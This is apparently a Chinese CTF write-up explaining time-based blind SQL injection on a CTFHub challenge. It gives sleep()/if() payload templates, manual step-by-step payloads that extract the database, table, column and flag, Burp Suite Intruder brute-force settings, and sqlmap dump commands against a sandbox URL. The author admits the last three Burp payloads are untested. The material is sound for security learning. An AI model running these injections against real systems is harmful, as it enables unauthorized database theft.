
目录一、时间盲注原理1.核心函数2.完整 payload 模板二、CTFHub例题1.手工注入①判断注入点②测试可注入方式③判断数据库长度④猜数据库名字⑤猜数据表名字⑥获取列名⑦获取数据2.使用burpsuite①判断数据库长度②爆数据库名③获取表名④获取列名⑤获取数据3.使用sqlmap实现全自动的时间盲注①获取数据库名称②获取数据表③获取flag字段一、时间盲注原理场景页面没有报错回显、没有内容回显不管 SQL 真假网页返回的页面内容完全一模一样没法通过看页面文字判断查询结果。 核心思路利用 SQL 延时函数 sleep () /benchmark ()根据请求响应时间长短判断条件是真还是假。1.核心函数sleep(N)MySQL 函数执行就休眠 N 秒。sleep(5) # 让数据库停留5秒再返回结果if(条件,真执行,假执行)if(条件为真,sleep(5),1) --条件成立 → 执行sleep(5)请求卡住5秒才返回 --条件不成立 → 执行1直接返回没有延迟2.完整 payload 模板1 and if(ascii(substr((select 要查询的数据),偏移,1))字符ascii码,sleep(5),1)拆解substr(数据,偏移值,1)截取 1 个字符ascii()把字符转为 ascii 数字方便对比如果相等条件 true触发sleep(5)浏览器网络面板看到请求耗时≈5 秒如果不相等条件 false直接返回请求几十毫秒就结束。二、CTFHub例题1.手工注入①判断注入点1id1 and 11 页面返回有数据2id1 and 12 页面返回有数据则页面的返回没有变化可能是盲注②测试可注入方式1页面没有回显位置联合注入无法使用2页面不显示数据库的报错信息报错注入无法使用3无论成功还是失败页面只响应一种结果布尔盲注无法使用判断使用时间盲注③判断数据库长度1 and if(length(database())4,sleep(5),1)可以观察到明显的延时现象后才出现回显内容这表明数据库名称长度为4。我们也可以通过查看请求耗时④猜数据库名字1 and if(substr(database(),1,1)s,sleep(5),1)最终试出数据库名称为sqli⑤猜数据表名字1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,1)f,sleep(5),1)由上图可以看出第一个字母为f第一个表的名字测试出为’flag‘⑥获取列名1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_namesqli),1,1)a,sleep(5),1)最终测试出列名为’flag‘⑦获取数据1 and if(substr((select group_concat(flag) from flag),1,1)a,sleep(5),1)2.使用burpsuite基于这样的一个延时原理接下来我们使用burpsuite进行爆破①判断数据库长度爆破payload?id1 and if(length(database())4,sleep(5),1) --为了爆破时间短一点我们可以将sleep的时间设置短一点但是有时候这个sleep时间也会影响到判断的准确性将抓到的数据包放入Intruder中设置爆破位置选用攻击类型狙击手Sniper单个参数爆破设置爆破字典开始攻击。攻击结果如下如果直接看结果是看不出来的因为都是回显正常我们需要基于响应耗时来筛选得出数据库名长度为4②爆数据库名爆破payload?id1 and if(substr(database(),1,1)s,sleep(5),1) --同样选择攻击模式集束炸弹以及设置爆破位置这里需要爆破的参数有两个设置爆破字典第一个参数的字典显然是1到4因为数据库长度为4第二个参数的字典这里以所有小写字母为例实际情况应该更复杂同样按照默认排序看不出任何东西我们需要先筛选出执行了sleep函数的payload再将其按照payload1从1到4的顺序排列得到当前数据库名为sqli③获取表名爆破payload?id1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,1)c,sleep(5),1)--④获取列名爆破payload?id1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_namesqli),1,1)a,sleep(5),1)--⑤获取数据爆破payload?id1 and if(substr((select group_concat(flag) from flag),1,1)a,sleep(5),1)--最后给出的三个payload我并未进行实际测试各位自行测试若有问题可以评论反馈。3.使用sqlmap实现全自动的时间盲注①获取数据库名称sqlmap -u http://challenge-ea8b2c5c52e435dd.sandbox.ctfhub.com:10800/?id1 --dbs②获取数据表sqlmap -u http://challenge-ea8b2c5c52e435dd.sandbox.ctfhub.com:10800/?id1 -D sqli --tables参数说明-D 指定数据库--tables 获取表③获取flag字段sqlmap -u http://challenge-ea8b2c5c52e435dd.sandbox.ctfhub.com:10800/?id1 -D sqli -T flag --dump --batch以上就是关于SQL注入的时间盲注包括手工注入、burpsuite爆破与使用sqlmap自动化注入。参考文章关于SQL时间盲注基于sleep函数的手动测试、burpsuite爆破、sqlmap全自动化注入_sql 语句 and sleep-CSDN博客SQL注入---时间盲注-CSDN博客**CTFHub**做题记录--Web篇 - 知乎